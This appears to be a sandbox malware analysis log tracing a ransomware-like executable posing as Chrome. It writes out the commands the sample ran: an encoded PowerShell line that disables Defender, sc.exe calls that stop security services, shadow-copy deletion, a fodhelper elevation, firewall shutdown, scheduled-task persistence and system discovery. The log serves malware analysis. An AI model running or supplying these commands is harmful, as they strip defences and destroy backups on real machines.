PID 5796 wrote to memory of 2352	5796	gziz.io_chrome.exe	105
PID 5440 wrote to memory of 2568	5440	chrome.exe	107
PID 5440 wrote to memory of 2568	5440	chrome.exe	107
PID 5796 wrote to memory of 4332	5796	gziz.io_chrome.exe	108
PID 5440 wrote to memory of 3184	5440	chrome.exe	110
PID 5440 wrote to memory of 3184	5440	chrome.exe	110
PID 5796 wrote to memory of 3132	5796	gziz.io_chrome.exe	111
PID 5796 wrote to memory of 4592	5796	gziz.io_chrome.exe	113
PID 5796 wrote to memory of 3636	5796	gziz.io_chrome.exe	161
PID 5796 wrote to memory of 4300	5796	gziz.io_chrome.exe	117
PID 5796 wrote to memory of 3780	5796	gziz.io_chrome.exe	118
PID 5796 wrote to memory of 1796	5796	gziz.io_chrome.exe	120
PID 4300 wrote to memory of 4256	4300	fodhelper.exe	121
PID 5796 wrote to memory of 4996	5796	gziz.io_chrome.exe	123
PID 5796 wrote to memory of 1440	5796	gziz.io_chrome.exe	125
PID 5440 wrote to memory of 1484	5440	chrome.exe	132
PID 5440 wrote to memory of 4832	5440	chrome.exe	133
PID 5440 wrote to memory of 1484	5440	chrome.exe	132
PID 5440 wrote to memory of 4832	5440	chrome.exe	133
PID 5796 wrote to memory of 5804	5796	gziz.io_chrome.exe	134
PID 5796 wrote to memory of 4972	5796	gziz.io_chrome.exe	136
PID 5796 wrote to memory of 1640	5796	gziz.io_chrome.exe	138
PID 5796 wrote to memory of 5900	5796	gziz.io_chrome.exe	141
PID 5796 wrote to memory of 1660	5796	gziz.io_chrome.exe	143
PID 5796 wrote to memory of 5448	5796	gziz.io_chrome.exe	145
PID 5796 wrote to memory of 924	5796	gziz.io_chrome.exe	146
PID 5796 wrote to memory of 3112	5796	gziz.io_chrome.exe	147
PID 5796 wrote to memory of 5244	5796	gziz.io_chrome.exe	148
PID 5796 wrote to memory of 1336	5796	gziz.io_chrome.exe	149
PID 5796 wrote to memory of 1304	5796	gziz.io_chrome.exe	150
PID 5796 wrote to memory of 4648	5796	gziz.io_chrome.exe	151
PID 5796 wrote to memory of 5412	5796	gziz.io_chrome.exe	159
PID 1660 wrote to memory of 1252	1660	cmd.exe	160
PID 3112 wrote to memory of 3636	3112	cmd.exe	161
PID 5796 wrote to memory of 5216	5796	gziz.io_chrome.exe	162
PID 5796 wrote to memory of 456	5796	gziz.io_chrome.exe	163
PID 5796 wrote to memory of 3568	5796	gziz.io_chrome.exe	164
PID 5796 wrote to memory of 4308	5796	gziz.io_chrome.exe	165
PID 5796 wrote to memory of 5652	5796	gziz.io_chrome.exe	166
PID 5796 wrote to memory of 5656	5796	gziz.io_chrome.exe	167
PID 5448 wrote to memory of 2736	5448	cmd.exe	174
PID 1336 wrote to memory of 5224	1336	cmd.exe	175
PID 5244 wrote to memory of 3196	5244	cmd.exe	176
PID 1304 wrote to memory of 308	1304	cmd.exe	177
PID 924 wrote to memory of 2956	924	cmd.exe	178
PID 3196 wrote to memory of 320	3196	net.exe	179
PID 3568 wrote to memory of 5952	3568	net.exe	180
PID 1660 wrote to memory of 1076	1660	cmd.exe	181
PID 5440 wrote to memory of 5368	5440	chrome.exe	182

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\gziz.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\gziz.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5796
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://gziz.io
  2⤵
  - Checks SCSI registry key(s)
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:5440
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff9ac95c728,0x7ff9ac95c734,0x7ff9ac95c740
    3⤵
    PID:4548
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,11845465523978787477,7317022234331768342,524288 --field-trial-handle=1888,i,14182277719654027748,8316834676076022661,262144 --variations-seed-version --mojo-platform-channel-handle=2076 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5660
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2180,i,8408508211241870926,13648261541360753614,524288 --field-trial-handle=1888,i,14182277719654027748,8316834676076022661,262144 --variations-seed-version --mojo-platform-channel-handle=2192 /prefetch:13
    3⤵
    PID:4160
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1616,i,11431438065922441215,17537510096362503824,262144 --field-trial-handle=1888,i,14182277719654027748,8316834676076022661,262144 --variations-seed-version --mojo-platform-channel-handle=1884 /prefetch:2
    3⤵
    PID:3680
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3148,i,14185113355640069033,5416487592504932840,2097152 --field-trial-handle=1888,i,14182277719654027748,8316834676076022661,262144 --variations-seed-version --mojo-platform-channel-handle=3156 /prefetch:1
    3⤵
    PID:5488
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3164,i,5279760389007204616,2020821811426266324,2097152 --field-trial-handle=1888,i,14182277719654027748,8316834676076022661,262144 --variations-seed-version --mojo-platform-channel-handle=3188 /prefetch:1
    3⤵
    PID:1816
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4604,i,5216591470657557065,12904964710938445456,524288 --field-trial-handle=1888,i,14182277719654027748,8316834676076022661,262144 --variations-seed-version --mojo-platform-channel-handle=4660 /prefetch:14
    3⤵
    PID:2568
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4852,i,9654568271274361005,4651830463362668657,2097152 --field-trial-handle=1888,i,14182277719654027748,8316834676076022661,262144 --variations-seed-version --mojo-platform-channel-handle=4868 /prefetch:1
    3⤵
    PID:3184
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5044,i,14747319929807392186,9609716621960369185,2097152 --field-trial-handle=1888,i,14182277719654027748,8316834676076022661,262144 --variations-seed-version --mojo-platform-channel-handle=4984 /prefetch:1
    3⤵
    PID:1484
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=3088,i,3273749573021513418,5998208154576049548,2097152 --field-trial-handle=1888,i,14182277719654027748,8316834676076022661,262144 --variations-seed-version --mojo-platform-channel-handle=4432 /prefetch:1
    3⤵
    PID:4832
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5888,i,12628597542012764967,15387222569645493527,524288 --field-trial-handle=1888,i,14182277719654027748,8316834676076022661,262144 --variations-seed-version --mojo-platform-channel-handle=5900 /prefetch:14
    3⤵
    PID:5368
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5940,i,2848665045479767763,8735250193329464131,2097152 --field-trial-handle=1888,i,14182277719654027748,8316834676076022661,262144 --variations-seed-version --mojo-platform-channel-handle=5960 /prefetch:1
    3⤵
    PID:4968
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5724,i,5407178781003739928,5145652740510353848,2097152 --field-trial-handle=1888,i,14182277719654027748,8316834676076022661,262144 --variations-seed-version --mojo-platform-channel-handle=5980 /prefetch:1
    3⤵
    PID:5264
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=6216,i,18176444700804211995,13235698243460755474,2097152 --field-trial-handle=1888,i,14182277719654027748,8316834676076022661,262144 --variations-seed-version --mojo-platform-channel-handle=4944 /prefetch:1
    3⤵
    PID:6104
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=6192,i,11538659747903857250,15046982937949876895,2097152 --field-trial-handle=1888,i,14182277719654027748,8316834676076022661,262144 --variations-seed-version --mojo-platform-channel-handle=6184 /prefetch:1
    3⤵
    PID:5260
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6472,i,15174997367601765790,4066812259433731701,524288 --field-trial-handle=1888,i,14182277719654027748,8316834676076022661,262144 --variations-seed-version --mojo-platform-channel-handle=6028 /prefetch:14
    3⤵
    PID:4916
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5644,i,10469480089322661622,1141346942289785515,2097152 --field-trial-handle=1888,i,14182277719654027748,8316834676076022661,262144 --variations-seed-version --mojo-platform-channel-handle=6216 /prefetch:1
    3⤵
    PID:4660
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5980,i,2410342277805598413,3151580164995023302,2097152 --field-trial-handle=1888,i,14182277719654027748,8316834676076022661,262144 --variations-seed-version --mojo-platform-channel-handle=5936 /prefetch:1
    3⤵
    PID:592
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=6104,i,7274512100919422302,1243979182518441474,2097152 --field-trial-handle=1888,i,14182277719654027748,8316834676076022661,262144 --variations-seed-version --mojo-platform-channel-handle=6344 /prefetch:1
    3⤵
    PID:6024
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6656,i,17610514992296344237,7398957769058655574,524288 --field-trial-handle=1888,i,14182277719654027748,8316834676076022661,262144 --variations-seed-version --mojo-platform-channel-handle=6376 /prefetch:14
    3⤵
    PID:4460
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5972,i,17347824983589263040,1226436333019573271,2097152 --field-trial-handle=1888,i,14182277719654027748,8316834676076022661,262144 --variations-seed-version --mojo-platform-channel-handle=5020 /prefetch:1
    3⤵
    PID:2832
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6660,i,12073475423426718986,10976289215210864553,524288 --field-trial-handle=1888,i,14182277719654027748,8316834676076022661,262144 --variations-seed-version --mojo-platform-channel-handle=5964 /prefetch:14
    3⤵
    PID:5524
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --metrics-shmem-handle=4676,i,16593077492400113670,16478183708678085609,2097152 --field-trial-handle=1888,i,14182277719654027748,8316834676076022661,262144 --variations-seed-version --mojo-platform-channel-handle=4708 /prefetch:1
    3⤵
    PID:1560
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=4712,i,8925559130671049012,3413346066188323894,2097152 --field-trial-handle=1888,i,14182277719654027748,8316834676076022661,262144 --variations-seed-version --mojo-platform-channel-handle=5068 /prefetch:9
    3⤵
    PID:1952
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5104,i,16438991975773824204,8116563512181789273,524288 --field-trial-handle=1888,i,14182277719654027748,8316834676076022661,262144 --variations-seed-version --mojo-platform-channel-handle=5984 /prefetch:14
    3⤵
    PID:572
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5980,i,3453915375304595234,13287655430636618999,524288 --field-trial-handle=1888,i,14182277719654027748,8316834676076022661,262144 --variations-seed-version --mojo-platform-channel-handle=6364 /prefetch:14
    3⤵
    PID:4180
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6796,i,8155518967882295948,515460445775853271,524288 --field-trial-handle=1888,i,14182277719654027748,8316834676076022661,262144 --variations-seed-version --mojo-platform-channel-handle=6424 /prefetch:14
    3⤵
    PID:5424
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=4740,i,18403127712090494152,14676777668581210775,262144 --field-trial-handle=1888,i,14182277719654027748,8316834676076022661,262144 --variations-seed-version --mojo-platform-channel-handle=6592 /prefetch:10
    3⤵
    PID:2808
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --metrics-shmem-handle=4704,i,6151268328396667002,5941990254281188342,2097152 --field-trial-handle=1888,i,14182277719654027748,8316834676076022661,262144 --variations-seed-version --mojo-platform-channel-handle=5040 /prefetch:1
    3⤵
    PID:4312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1080
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5628
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2524
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:3904
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:2352
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4332
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:3132
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:4592
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3636
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4300
- - C:\Users\Admin\AppData\Local\Temp\gziz.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\gziz.io_chrome.exe"
    3⤵
    PID:4256
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:3780
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1796
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4996
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1440
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5804
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\gziz.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4972
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\gziz.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1640
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:5900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1660
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1252
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1076
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5448
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:2736
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:924
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:2956
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3112
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:3636
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5244
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3196
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:320
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1336
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:5224
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1304
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:308
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\gziz.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4648
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5412
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5216
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:456
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3568
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:5952
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4308
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:5652
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:5656

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4236

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4936

C:\Users\Admin\AppData\Local\Temp\gziz.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\gziz.io_chrome.exe
1⤵
PID:3576

C:\Users\Admin\AppData\Local\Temp\gziz.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\gziz.io_chrome.exe
1⤵
PID:4960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:6136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
